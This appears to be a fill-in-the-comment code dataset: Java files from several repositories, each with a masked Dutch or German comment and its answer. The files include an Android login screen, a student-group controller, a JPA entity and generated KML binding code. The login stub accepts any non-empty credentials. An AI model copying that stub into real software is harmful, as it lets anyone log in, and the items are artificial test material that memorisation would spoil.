| 2speef10/VilloApp | app/src/main/java/com/example/villoapp/Views/LoginActivity.java | 710 | // Voorbeeld: controleer of de velden niet leeg zijn | line_comment | nl | package com.example.villoapp.Views;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import com.example.villoapp.Model.MainActivity;
import com.example.villoapp.R;
import com.example.villoapp.Model.User;
public class LoginActivity extends AppCompatActivity {
private EditText emailEditText, passwordEditText;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_login);
emailEditText = findViewById(R.id.login_email);
passwordEditText = findViewById(R.id.login_password);
Button loginButton = findViewById(R.id.login_button);
loginButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
loginUser();
}
});
TextView registerRedirectText = findViewById(R.id.loginRedirectText);
registerRedirectText.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
navigateToSignup();
}
});
}
private void loginUser() {
String email = emailEditText.getText().toString();
String password = passwordEditText.getText().toString();
// Hier moet je de logica voor het inloggen implementeren
// Vergelijk bijvoorbeeld de inloggegevens met een database of een andere authenticatiemethode
// Voorbeeld: controleer<SUF>
if (!email.isEmpty() && !password.isEmpty()) {
// Voorbeeld: simulatie van succesvol inloggen
Toast.makeText(this, "Login successful!", Toast.LENGTH_SHORT).show();
// Start MainActivity na succesvol inloggen
Intent intent = new Intent(LoginActivity.this, MainActivity.class);
startActivity(intent);
finish(); // Sluit de LoginActivity om terugkeren te voorkomen
} else {
// Geef een foutmelding als de velden leeg zijn
Toast.makeText(this, "Please enter valid credentials!", Toast.LENGTH_SHORT).show();
}
}
private void navigateToSignup() {
Intent intent = new Intent(LoginActivity.this, SignupActivity.class);
startActivity(intent);
finish(); // Sluit de huidige activiteit (LoginActivity) na navigatie
}
}
|
10427_6 | package controller;
import java.util.Calendar;
import java.util.List;
import javax.json.Json;
import javax.json.JsonArray;
import javax.json.JsonArrayBuilder;
import javax.json.JsonObject;
import javax.json.JsonObjectBuilder;
import model.PrIS;
import model.klas.Klas;
import model.persoon.Student;
import server.Conversation;
import server.Handler;
public class MedestudentenController implements Handler {
private PrIS informatieSysteem;
/**
* De StudentController klasse moet alle student-gerelateerde aanvragen
* afhandelen. Methode handle() kijkt welke URI is opgevraagd en laat
* dan de juiste methode het werk doen. Je kunt voor elke nieuwe URI
* een nieuwe methode schrijven.
*
* @param infoSys - het toegangspunt tot het domeinmodel
*/
public MedestudentenController(PrIS infoSys) {
informatieSysteem = infoSys;
}
public void handle(Conversation conversation) {
if (conversation.getRequestedURI().startsWith("/student/medestudenten/ophalen")) {
ophalen(conversation);
} else {
opslaan(conversation);
}
}
/**
* Deze methode haalt eerst de opgestuurde JSON-data op. Daarna worden
* de benodigde gegevens uit het domeinmodel gehaald. Deze gegevens worden
* dan weer omgezet naar JSON en teruggestuurd naar de Polymer-GUI!
*
* @param conversation - alle informatie over het request
*/
private void ophalen(Conversation conversation) {
JsonObject lJsonObjectIn = (JsonObject) conversation.getRequestBodyAsJSON();
String lGebruikersnaam = lJsonObjectIn.getString("username");
Student lStudentZelf = informatieSysteem.getStudent(lGebruikersnaam);
String lGroepIdZelf = lStudentZelf.getGroepId();
Klas lKlas = informatieSysteem.getKlasVanStudent(lStudentZelf); // klas van de student opzoeken
List<Student> lStudentenVanKlas = lKlas.getStudenten(); // medestudenten opzoeken
JsonArrayBuilder lJsonArrayBuilder = Json.createArrayBuilder(); // Uiteindelijk gaat er een array...
for (Student lMedeStudent : lStudentenVanKlas) { // met daarin voor elke medestudent een JSON-object...
if (lMedeStudent == lStudentZelf) // behalve de student zelf...
continue;
else {
String lGroepIdAnder = lMedeStudent.getGroepId();
boolean lZelfdeGroep = ((lGroepIdZelf != "") && (lGroepIdAnder==lGroepIdZelf));
JsonObjectBuilder lJsonObjectBuilderVoorStudent = Json.createObjectBuilder(); // maak het JsonObject voor een student
String lLastName = lMedeStudent.getVolledigeAchternaam();
lJsonObjectBuilderVoorStudent
.add("id", lMedeStudent.getStudentNummer()) //vul het JsonObject
.add("firstName", lMedeStudent.getVoornaam())
.add("lastName", lLastName)
.add("sameGroup", lZelfdeGroep);
lJsonArrayBuilder.add(lJsonObjectBuilderVoorStudent); //voeg het JsonObject aan het array toe
}
}
String lJsonOutStr = lJsonArrayBuilder.build().toString(); // maak er een string van
conversation.sendJSONMessage(lJsonOutStr); // string gaat terug naar de Polymer-GUI!
}
/**
* Deze methode haalt eerst de opgestuurde JSON-data op. Op basis van deze gegevens
* het domeinmodel gewijzigd. Een eventuele errorcode wordt tenslotte
* weer (als JSON) teruggestuurd naar de Polymer-GUI!
*
* @param conversation - alle informatie over het request
*/
private void opslaan(Conversation conversation) {
JsonObject lJsonObjectIn = (JsonObject) conversation.getRequestBodyAsJSON();
String lGebruikersnaam = lJsonObjectIn.getString("username");
Student lStudent = informatieSysteem.getStudent(lGebruikersnaam);
//Het lJsonObjectIn bevat niet enkel strings maar ook een heel (Json) array van Json-objecten.
// in dat Json-object zijn telkens het studentnummer en een indicatie of de student
// tot het zelfde team hoort opgenomen.
//Het Json-array heeft als naam: "groupMembers"
JsonArray lGroepMembers_jArray = lJsonObjectIn.getJsonArray("groupMembers");
if (lGroepMembers_jArray != null) {
// bepaal op basis van de huidige tijd een unieke string
Calendar lCal = Calendar.getInstance();
long lMilliSeconds = lCal.getTimeInMillis();
String lGroepId = String.valueOf(lMilliSeconds);
lStudent.setGroepId(lGroepId);
for (int i=0;i<lGroepMembers_jArray.size();i++){
JsonObject lGroepMember_jsonObj = lGroepMembers_jArray.getJsonObject(i );
int lStudentNummer = lGroepMember_jsonObj.getInt("id");
boolean lZelfdeGroep = lGroepMember_jsonObj.getBoolean("sameGroup");
if (lZelfdeGroep) {
Student lGroepStudent = informatieSysteem.getStudent(lStudentNummer);
lGroepStudent.setGroepId(lGroepId);
}
}
}
JsonObjectBuilder lJob = Json.createObjectBuilder();
lJob.add("errorcode", 0);
//nothing to return use only errorcode to signal: ready!
String lJsonOutStr = lJob.build().toString();
conversation.sendJSONMessage(lJsonOutStr); // terug naar de Polymer-GUI!
}
}
| 3YH/GP_Startapplicatie | src/controller/MedestudentenController.java | 1,760 | // maak het JsonObject voor een student | line_comment | nl | package controller;
import java.util.Calendar;
import java.util.List;
import javax.json.Json;
import javax.json.JsonArray;
import javax.json.JsonArrayBuilder;
import javax.json.JsonObject;
import javax.json.JsonObjectBuilder;
import model.PrIS;
import model.klas.Klas;
import model.persoon.Student;
import server.Conversation;
import server.Handler;
public class MedestudentenController implements Handler {
private PrIS informatieSysteem;
/**
* De StudentController klasse moet alle student-gerelateerde aanvragen
* afhandelen. Methode handle() kijkt welke URI is opgevraagd en laat
* dan de juiste methode het werk doen. Je kunt voor elke nieuwe URI
* een nieuwe methode schrijven.
*
* @param infoSys - het toegangspunt tot het domeinmodel
*/
public MedestudentenController(PrIS infoSys) {
informatieSysteem = infoSys;
}
public void handle(Conversation conversation) {
if (conversation.getRequestedURI().startsWith("/student/medestudenten/ophalen")) {
ophalen(conversation);
} else {
opslaan(conversation);
}
}
/**
* Deze methode haalt eerst de opgestuurde JSON-data op. Daarna worden
* de benodigde gegevens uit het domeinmodel gehaald. Deze gegevens worden
* dan weer omgezet naar JSON en teruggestuurd naar de Polymer-GUI!
*
* @param conversation - alle informatie over het request
*/
private void ophalen(Conversation conversation) {
JsonObject lJsonObjectIn = (JsonObject) conversation.getRequestBodyAsJSON();
String lGebruikersnaam = lJsonObjectIn.getString("username");
Student lStudentZelf = informatieSysteem.getStudent(lGebruikersnaam);
String lGroepIdZelf = lStudentZelf.getGroepId();
Klas lKlas = informatieSysteem.getKlasVanStudent(lStudentZelf); // klas van de student opzoeken
List<Student> lStudentenVanKlas = lKlas.getStudenten(); // medestudenten opzoeken
JsonArrayBuilder lJsonArrayBuilder = Json.createArrayBuilder(); // Uiteindelijk gaat er een array...
for (Student lMedeStudent : lStudentenVanKlas) { // met daarin voor elke medestudent een JSON-object...
if (lMedeStudent == lStudentZelf) // behalve de student zelf...
continue;
else {
String lGroepIdAnder = lMedeStudent.getGroepId();
boolean lZelfdeGroep = ((lGroepIdZelf != "") && (lGroepIdAnder==lGroepIdZelf));
JsonObjectBuilder lJsonObjectBuilderVoorStudent = Json.createObjectBuilder(); // maak het<SUF>
String lLastName = lMedeStudent.getVolledigeAchternaam();
lJsonObjectBuilderVoorStudent
.add("id", lMedeStudent.getStudentNummer()) //vul het JsonObject
.add("firstName", lMedeStudent.getVoornaam())
.add("lastName", lLastName)
.add("sameGroup", lZelfdeGroep);
lJsonArrayBuilder.add(lJsonObjectBuilderVoorStudent); //voeg het JsonObject aan het array toe
}
}
String lJsonOutStr = lJsonArrayBuilder.build().toString(); // maak er een string van
conversation.sendJSONMessage(lJsonOutStr); // string gaat terug naar de Polymer-GUI!
}
/**
* Deze methode haalt eerst de opgestuurde JSON-data op. Op basis van deze gegevens
* het domeinmodel gewijzigd. Een eventuele errorcode wordt tenslotte
* weer (als JSON) teruggestuurd naar de Polymer-GUI!
*
* @param conversation - alle informatie over het request
*/
private void opslaan(Conversation conversation) {
JsonObject lJsonObjectIn = (JsonObject) conversation.getRequestBodyAsJSON();
String lGebruikersnaam = lJsonObjectIn.getString("username");
Student lStudent = informatieSysteem.getStudent(lGebruikersnaam);
//Het lJsonObjectIn bevat niet enkel strings maar ook een heel (Json) array van Json-objecten.
// in dat Json-object zijn telkens het studentnummer en een indicatie of de student
// tot het zelfde team hoort opgenomen.
//Het Json-array heeft als naam: "groupMembers"
JsonArray lGroepMembers_jArray = lJsonObjectIn.getJsonArray("groupMembers");
if (lGroepMembers_jArray != null) {
// bepaal op basis van de huidige tijd een unieke string
Calendar lCal = Calendar.getInstance();
long lMilliSeconds = lCal.getTimeInMillis();
String lGroepId = String.valueOf(lMilliSeconds);
lStudent.setGroepId(lGroepId);
for (int i=0;i<lGroepMembers_jArray.size();i++){
JsonObject lGroepMember_jsonObj = lGroepMembers_jArray.getJsonObject(i );
int lStudentNummer = lGroepMember_jsonObj.getInt("id");
boolean lZelfdeGroep = lGroepMember_jsonObj.getBoolean("sameGroup");
if (lZelfdeGroep) {
Student lGroepStudent = informatieSysteem.getStudent(lStudentNummer);
lGroepStudent.setGroepId(lGroepId);
}
}
}
JsonObjectBuilder lJob = Json.createObjectBuilder();
lJob.add("errorcode", 0);
//nothing to return use only errorcode to signal: ready!
String lJsonOutStr = lJob.build().toString();
conversation.sendJSONMessage(lJsonOutStr); // terug naar de Polymer-GUI!
}
}
|
135543_0 | package com.yannickhj.ohwdash.model;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import org.springframework.data.annotation.CreatedDate;
import org.springframework.data.annotation.LastModifiedDate;
import org.springframework.data.jpa.domain.support.AuditingEntityListener;
import javax.persistence.*;
import javax.validation.constraints.NotBlank;
import java.util.Date;
//Aanmaken entiteit en dmv. Hibernate annotaties aanmaken in de database
@Entity
@Table(name = "signs")
@EntityListeners(AuditingEntityListener.class)
@JsonIgnoreProperties(value = {"createdAt", "updatedAt"},
allowGetters = true)
public class Sign {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@Column(unique = true)
@NotBlank
private String locatienummer;
private String soort;
private String grootte;
private String biestekst;
private String plaats;
private String gemeente;
private String straatnaam;
private String route;
private int xcord;
private int ycord;
private Boolean onderhoud=false;
private String controleur;
private String acties;
@Column(nullable = false, updatable = false)
@Temporal(TemporalType.TIMESTAMP)
@CreatedDate
private Date createdAt;
@Column(nullable = false)
@Temporal(TemporalType.TIMESTAMP)
@LastModifiedDate
private Date updatedAt;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getLocatienummer() {
return locatienummer;
}
public void setLocatienummer(String locatienummer) {
this.locatienummer = locatienummer;
}
public String getSoort() {
return soort;
}
public void setSoort(String soort) {
this.soort = soort;
}
public String getGrootte() {
return grootte;
}
public void setGrootte(String grootte) {
this.grootte = grootte;
}
public String getBiestekst() {
return biestekst;
}
public void setBiestekst(String biestekst) {
this.biestekst = biestekst;
}
public String getPlaats() {
return plaats;
}
public void setPlaats(String plaats) {
this.plaats = plaats;
}
public String getGemeente() {
return gemeente;
}
public void setGemeente(String gemeente) {
this.gemeente = gemeente;
}
public String getStraatnaam() {
return straatnaam;
}
public void setStraatnaam(String straatnaam) {
this.straatnaam = straatnaam;
}
public String getRoute() {
return route;
}
public void setRoute(String route) {
this.route = route;
}
public int getXcord() {
return xcord;
}
public void setXcord(int xcord) {
this.xcord = xcord;
}
public int getYcord() {
return ycord;
}
public void setYcord(int ycord) {
this.ycord = ycord;
}
public Boolean getOnderhoud() {
return onderhoud;
}
public void setOnderhoud(Boolean onderhoud) {
this.onderhoud = onderhoud;
}
public String getControleur() {
return controleur;
}
public void setControleur(String controleur) {
this.controleur = controleur;
}
public String getActies() {
return acties;
}
public void setActies(String acties) {
this.acties = acties;
}
public Date getCreatedAt() {
return createdAt;
}
public void setCreatedAt(Date createdAt) {
this.createdAt = createdAt;
}
public Date getUpdatedAt() {
return updatedAt;
}
public void setUpdatedAt(Date updatedAt) {
this.updatedAt = updatedAt;
}
}
| 3YH/ohw_dashboard | src/main/java/com/yannickhj/ohwdash/model/Sign.java | 1,181 | //Aanmaken entiteit en dmv. Hibernate annotaties aanmaken in de database | line_comment | nl | package com.yannickhj.ohwdash.model;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import org.springframework.data.annotation.CreatedDate;
import org.springframework.data.annotation.LastModifiedDate;
import org.springframework.data.jpa.domain.support.AuditingEntityListener;
import javax.persistence.*;
import javax.validation.constraints.NotBlank;
import java.util.Date;
//Aanmaken entiteit<SUF>
@Entity
@Table(name = "signs")
@EntityListeners(AuditingEntityListener.class)
@JsonIgnoreProperties(value = {"createdAt", "updatedAt"},
allowGetters = true)
public class Sign {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@Column(unique = true)
@NotBlank
private String locatienummer;
private String soort;
private String grootte;
private String biestekst;
private String plaats;
private String gemeente;
private String straatnaam;
private String route;
private int xcord;
private int ycord;
private Boolean onderhoud=false;
private String controleur;
private String acties;
@Column(nullable = false, updatable = false)
@Temporal(TemporalType.TIMESTAMP)
@CreatedDate
private Date createdAt;
@Column(nullable = false)
@Temporal(TemporalType.TIMESTAMP)
@LastModifiedDate
private Date updatedAt;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getLocatienummer() {
return locatienummer;
}
public void setLocatienummer(String locatienummer) {
this.locatienummer = locatienummer;
}
public String getSoort() {
return soort;
}
public void setSoort(String soort) {
this.soort = soort;
}
public String getGrootte() {
return grootte;
}
public void setGrootte(String grootte) {
this.grootte = grootte;
}
public String getBiestekst() {
return biestekst;
}
public void setBiestekst(String biestekst) {
this.biestekst = biestekst;
}
public String getPlaats() {
return plaats;
}
public void setPlaats(String plaats) {
this.plaats = plaats;
}
public String getGemeente() {
return gemeente;
}
public void setGemeente(String gemeente) {
this.gemeente = gemeente;
}
public String getStraatnaam() {
return straatnaam;
}
public void setStraatnaam(String straatnaam) {
this.straatnaam = straatnaam;
}
public String getRoute() {
return route;
}
public void setRoute(String route) {
this.route = route;
}
public int getXcord() {
return xcord;
}
public void setXcord(int xcord) {
this.xcord = xcord;
}
public int getYcord() {
return ycord;
}
public void setYcord(int ycord) {
this.ycord = ycord;
}
public Boolean getOnderhoud() {
return onderhoud;
}
public void setOnderhoud(Boolean onderhoud) {
this.onderhoud = onderhoud;
}
public String getControleur() {
return controleur;
}
public void setControleur(String controleur) {
this.controleur = controleur;
}
public String getActies() {
return acties;
}
public void setActies(String acties) {
this.acties = acties;
}
public Date getCreatedAt() {
return createdAt;
}
public void setCreatedAt(Date createdAt) {
this.createdAt = createdAt;
}
public Date getUpdatedAt() {
return updatedAt;
}
public void setUpdatedAt(Date updatedAt) {
this.updatedAt = updatedAt;
}
}
|
59316_9 | //
// Diese Datei wurde mit der JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.3.1 generiert
// Siehe <a href="https://javaee.github.io/jaxb-v2/">https://javaee.github.io/jaxb-v2/</a>
// Änderungen an dieser Datei gehen bei einer Neukompilierung des Quellschemas verloren.
// Generiert: 2018.11.18 um 03:45:53 PM CET
//
package net.opengis.kml._2;
import java.util.ArrayList;
import java.util.List;
import javax.xml.bind.JAXBElement;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlElementRef;
import javax.xml.bind.annotation.XmlList;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java-Klasse für LineStringType complex type.
*
* <p>Das folgende Schemafragment gibt den erwarteten Content an, der in dieser Klasse enthalten ist.
*
* <pre>
* <complexType name="LineStringType">
* <complexContent>
* <extension base="{http://www.opengis.net/kml/2.2}AbstractGeometryType">
* <sequence>
* <element ref="{http://www.opengis.net/kml/2.2}extrude" minOccurs="0"/>
* <element ref="{http://www.opengis.net/kml/2.2}tessellate" minOccurs="0"/>
* <element ref="{http://www.opengis.net/kml/2.2}altitudeModeGroup" minOccurs="0"/>
* <element ref="{http://www.opengis.net/kml/2.2}coordinates" minOccurs="0"/>
* <element ref="{http://www.opengis.net/kml/2.2}LineStringSimpleExtensionGroup" maxOccurs="unbounded" minOccurs="0"/>
* <element ref="{http://www.opengis.net/kml/2.2}LineStringObjectExtensionGroup" maxOccurs="unbounded" minOccurs="0"/>
* </sequence>
* </extension>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "LineStringType", propOrder = {
"extrude",
"tessellate",
"altitudeModeGroup",
"coordinates",
"lineStringSimpleExtensionGroup",
"lineStringObjectExtensionGroup"
})
public class LineStringType
extends AbstractGeometryType
{
@XmlElement(defaultValue = "0")
protected Boolean extrude;
@XmlElement(defaultValue = "0")
protected Boolean tessellate;
@XmlElementRef(name = "altitudeModeGroup", namespace = "http://www.opengis.net/kml/2.2", type = JAXBElement.class, required = false)
protected JAXBElement<?> altitudeModeGroup;
@XmlList
protected List<String> coordinates;
@XmlElement(name = "LineStringSimpleExtensionGroup")
protected List<Object> lineStringSimpleExtensionGroup;
@XmlElement(name = "LineStringObjectExtensionGroup")
protected List<AbstractObjectType> lineStringObjectExtensionGroup;
/**
* Ruft den Wert der extrude-Eigenschaft ab.
*
* @return
* possible object is
* {@link Boolean }
*
*/
public Boolean isExtrude() {
return extrude;
}
/**
* Legt den Wert der extrude-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link Boolean }
*
*/
public void setExtrude(Boolean value) {
this.extrude = value;
}
public boolean isSetExtrude() {
return (this.extrude!= null);
}
/**
* Ruft den Wert der tessellate-Eigenschaft ab.
*
* @return
* possible object is
* {@link Boolean }
*
*/
public Boolean isTessellate() {
return tessellate;
}
/**
* Legt den Wert der tessellate-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link Boolean }
*
*/
public void setTessellate(Boolean value) {
this.tessellate = value;
}
public boolean isSetTessellate() {
return (this.tessellate!= null);
}
/**
* Ruft den Wert der altitudeModeGroup-Eigenschaft ab.
*
* @return
* possible object is
* {@link JAXBElement }{@code <}{@link AltitudeModeEnumType }{@code >}
* {@link JAXBElement }{@code <}{@link Object }{@code >}
*
*/
public JAXBElement<?> getAltitudeModeGroup() {
return altitudeModeGroup;
}
/**
* Legt den Wert der altitudeModeGroup-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link JAXBElement }{@code <}{@link AltitudeModeEnumType }{@code >}
* {@link JAXBElement }{@code <}{@link Object }{@code >}
*
*/
public void setAltitudeModeGroup(JAXBElement<?> value) {
this.altitudeModeGroup = value;
}
public boolean isSetAltitudeModeGroup() {
return (this.altitudeModeGroup!= null);
}
/**
* Gets the value of the coordinates property.
*
* <p>
* This accessor method returns a reference to the live list,
* not a snapshot. Therefore any modification you make to the
* returned list will be present inside the JAXB object.
* This is why there is not a <CODE>set</CODE> method for the coordinates property.
*
* <p>
* For example, to add a new item, do as follows:
* <pre>
* getCoordinates().add(newItem);
* </pre>
*
*
* <p>
* Objects of the following type(s) are allowed in the list
* {@link String }
*
*
*/
public List<String> getCoordinates() {
if (coordinates == null) {
coordinates = new ArrayList<String>();
}
return this.coordinates;
}
public boolean isSetCoordinates() {
return ((this.coordinates!= null)&&(!this.coordinates.isEmpty()));
}
public void unsetCoordinates() {
this.coordinates = null;
}
/**
* Gets the value of the lineStringSimpleExtensionGroup property.
*
* <p>
* This accessor method returns a reference to the live list,
* not a snapshot. Therefore any modification you make to the
* returned list will be present inside the JAXB object.
* This is why there is not a <CODE>set</CODE> method for the lineStringSimpleExtensionGroup property.
*
* <p>
* For example, to add a new item, do as follows:
* <pre>
* getLineStringSimpleExtensionGroup().add(newItem);
* </pre>
*
*
* <p>
* Objects of the following type(s) are allowed in the list
* {@link Object }
*
*
*/
public List<Object> getLineStringSimpleExtensionGroup() {
if (lineStringSimpleExtensionGroup == null) {
lineStringSimpleExtensionGroup = new ArrayList<Object>();
}
return this.lineStringSimpleExtensionGroup;
}
public boolean isSetLineStringSimpleExtensionGroup() {
return ((this.lineStringSimpleExtensionGroup!= null)&&(!this.lineStringSimpleExtensionGroup.isEmpty()));
}
public void unsetLineStringSimpleExtensionGroup() {
this.lineStringSimpleExtensionGroup = null;
}
/**
* Gets the value of the lineStringObjectExtensionGroup property.
*
* <p>
* This accessor method returns a reference to the live list,
* not a snapshot. Therefore any modification you make to the
* returned list will be present inside the JAXB object.
* This is why there is not a <CODE>set</CODE> method for the lineStringObjectExtensionGroup property.
*
* <p>
* For example, to add a new item, do as follows:
* <pre>
* getLineStringObjectExtensionGroup().add(newItem);
* </pre>
*
*
* <p>
* Objects of the following type(s) are allowed in the list
* {@link AbstractObjectType }
*
*
*/
public List<AbstractObjectType> getLineStringObjectExtensionGroup() {
if (lineStringObjectExtensionGroup == null) {
lineStringObjectExtensionGroup = new ArrayList<AbstractObjectType>();
}
return this.lineStringObjectExtensionGroup;
}
public boolean isSetLineStringObjectExtensionGroup() {
return ((this.lineStringObjectExtensionGroup!= null)&&(!this.lineStringObjectExtensionGroup.isEmpty()));
}
public void unsetLineStringObjectExtensionGroup() {
this.lineStringObjectExtensionGroup = null;
}
public void setCoordinates(List<String> value) {
this.coordinates = value;
}
public void setLineStringSimpleExtensionGroup(List<Object> value) {
this.lineStringSimpleExtensionGroup = value;
}
public void setLineStringObjectExtensionGroup(List<AbstractObjectType> value) {
this.lineStringObjectExtensionGroup = value;
}
}
| 3dcitydb/importer-exporter | impexp-vis-plugin/src-gen/main/java/net/opengis/kml/_2/LineStringType.java | 2,658 | /**
* Legt den Wert der tessellate-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link Boolean }
*
*/ | block_comment | nl | //
// Diese Datei wurde mit der JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.3.1 generiert
// Siehe <a href="https://javaee.github.io/jaxb-v2/">https://javaee.github.io/jaxb-v2/</a>
// Änderungen an dieser Datei gehen bei einer Neukompilierung des Quellschemas verloren.
// Generiert: 2018.11.18 um 03:45:53 PM CET
//
package net.opengis.kml._2;
import java.util.ArrayList;
import java.util.List;
import javax.xml.bind.JAXBElement;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlElementRef;
import javax.xml.bind.annotation.XmlList;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java-Klasse für LineStringType complex type.
*
* <p>Das folgende Schemafragment gibt den erwarteten Content an, der in dieser Klasse enthalten ist.
*
* <pre>
* <complexType name="LineStringType">
* <complexContent>
* <extension base="{http://www.opengis.net/kml/2.2}AbstractGeometryType">
* <sequence>
* <element ref="{http://www.opengis.net/kml/2.2}extrude" minOccurs="0"/>
* <element ref="{http://www.opengis.net/kml/2.2}tessellate" minOccurs="0"/>
* <element ref="{http://www.opengis.net/kml/2.2}altitudeModeGroup" minOccurs="0"/>
* <element ref="{http://www.opengis.net/kml/2.2}coordinates" minOccurs="0"/>
* <element ref="{http://www.opengis.net/kml/2.2}LineStringSimpleExtensionGroup" maxOccurs="unbounded" minOccurs="0"/>
* <element ref="{http://www.opengis.net/kml/2.2}LineStringObjectExtensionGroup" maxOccurs="unbounded" minOccurs="0"/>
* </sequence>
* </extension>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "LineStringType", propOrder = {
"extrude",
"tessellate",
"altitudeModeGroup",
"coordinates",
"lineStringSimpleExtensionGroup",
"lineStringObjectExtensionGroup"
})
public class LineStringType
extends AbstractGeometryType
{
@XmlElement(defaultValue = "0")
protected Boolean extrude;
@XmlElement(defaultValue = "0")
protected Boolean tessellate;
@XmlElementRef(name = "altitudeModeGroup", namespace = "http://www.opengis.net/kml/2.2", type = JAXBElement.class, required = false)
protected JAXBElement<?> altitudeModeGroup;
@XmlList
protected List<String> coordinates;
@XmlElement(name = "LineStringSimpleExtensionGroup")
protected List<Object> lineStringSimpleExtensionGroup;
@XmlElement(name = "LineStringObjectExtensionGroup")
protected List<AbstractObjectType> lineStringObjectExtensionGroup;
/**
* Ruft den Wert der extrude-Eigenschaft ab.
*
* @return
* possible object is
* {@link Boolean }
*
*/
public Boolean isExtrude() {
return extrude;
}
/**
* Legt den Wert der extrude-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link Boolean }
*
*/
public void setExtrude(Boolean value) {
this.extrude = value;
}
public boolean isSetExtrude() {
return (this.extrude!= null);
}
/**
* Ruft den Wert der tessellate-Eigenschaft ab.
*
* @return
* possible object is
* {@link Boolean }
*
*/
public Boolean isTessellate() {
return tessellate;
}
/**
* Legt den Wert<SUF>*/
public void setTessellate(Boolean value) {
this.tessellate = value;
}
public boolean isSetTessellate() {
return (this.tessellate!= null);
}
/**
* Ruft den Wert der altitudeModeGroup-Eigenschaft ab.
*
* @return
* possible object is
* {@link JAXBElement }{@code <}{@link AltitudeModeEnumType }{@code >}
* {@link JAXBElement }{@code <}{@link Object }{@code >}
*
*/
public JAXBElement<?> getAltitudeModeGroup() {
return altitudeModeGroup;
}
/**
* Legt den Wert der altitudeModeGroup-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link JAXBElement }{@code <}{@link AltitudeModeEnumType }{@code >}
* {@link JAXBElement }{@code <}{@link Object }{@code >}
*
*/
public void setAltitudeModeGroup(JAXBElement<?> value) {
this.altitudeModeGroup = value;
}
public boolean isSetAltitudeModeGroup() {
return (this.altitudeModeGroup!= null);
}
/**
* Gets the value of the coordinates property.
*
* <p>
* This accessor method returns a reference to the live list,
* not a snapshot. Therefore any modification you make to the
* returned list will be present inside the JAXB object.
* This is why there is not a <CODE>set</CODE> method for the coordinates property.
*
* <p>
* For example, to add a new item, do as follows:
* <pre>
* getCoordinates().add(newItem);
* </pre>
*
*
* <p>
* Objects of the following type(s) are allowed in the list
* {@link String }
*
*
*/
public List<String> getCoordinates() {
if (coordinates == null) {
coordinates = new ArrayList<String>();
}
return this.coordinates;
}
public boolean isSetCoordinates() {
return ((this.coordinates!= null)&&(!this.coordinates.isEmpty()));
}
public void unsetCoordinates() {
this.coordinates = null;
}
/**
* Gets the value of the lineStringSimpleExtensionGroup property.
*
* <p>
* This accessor method returns a reference to the live list,
* not a snapshot. Therefore any modification you make to the
* returned list will be present inside the JAXB object.
* This is why there is not a <CODE>set</CODE> method for the lineStringSimpleExtensionGroup property.
*
* <p>
* For example, to add a new item, do as follows:
* <pre>
* getLineStringSimpleExtensionGroup().add(newItem);
* </pre>
*
*
* <p>
* Objects of the following type(s) are allowed in the list
* {@link Object }
*
*
*/
public List<Object> getLineStringSimpleExtensionGroup() {
if (lineStringSimpleExtensionGroup == null) {
lineStringSimpleExtensionGroup = new ArrayList<Object>();
}
return this.lineStringSimpleExtensionGroup;
}
public boolean isSetLineStringSimpleExtensionGroup() {
return ((this.lineStringSimpleExtensionGroup!= null)&&(!this.lineStringSimpleExtensionGroup.isEmpty()));
}
public void unsetLineStringSimpleExtensionGroup() {
this.lineStringSimpleExtensionGroup = null;
}
/**
* Gets the value of the lineStringObjectExtensionGroup property.
*
* <p>
* This accessor method returns a reference to the live list,
* not a snapshot. Therefore any modification you make to the
* returned list will be present inside the JAXB object.
* This is why there is not a <CODE>set</CODE> method for the lineStringObjectExtensionGroup property.
*
* <p>
* For example, to add a new item, do as follows:
* <pre>
* getLineStringObjectExtensionGroup().add(newItem);
* </pre>
*
*
* <p>
* Objects of the following type(s) are allowed in the list
* {@link AbstractObjectType }
*
*
*/
public List<AbstractObjectType> getLineStringObjectExtensionGroup() {
if (lineStringObjectExtensionGroup == null) {
lineStringObjectExtensionGroup = new ArrayList<AbstractObjectType>();
}
return this.lineStringObjectExtensionGroup;
}
public boolean isSetLineStringObjectExtensionGroup() {
return ((this.lineStringObjectExtensionGroup!= null)&&(!this.lineStringObjectExtensionGroup.isEmpty()));
}
public void unsetLineStringObjectExtensionGroup() {
this.lineStringObjectExtensionGroup = null;
}
public void setCoordinates(List<String> value) {
this.coordinates = value;
}
public void setLineStringSimpleExtensionGroup(List<Object> value) {
this.lineStringSimpleExtensionGroup = value;
}
public void setLineStringObjectExtensionGroup(List<AbstractObjectType> value) {
this.lineStringObjectExtensionGroup = value;
}
}
|
105013_3 | public class KiwiTester
{
public static void main(String[] args)
{
// testing both null and normal constructor
KiwiBird kiwi1 = new KiwiBird();
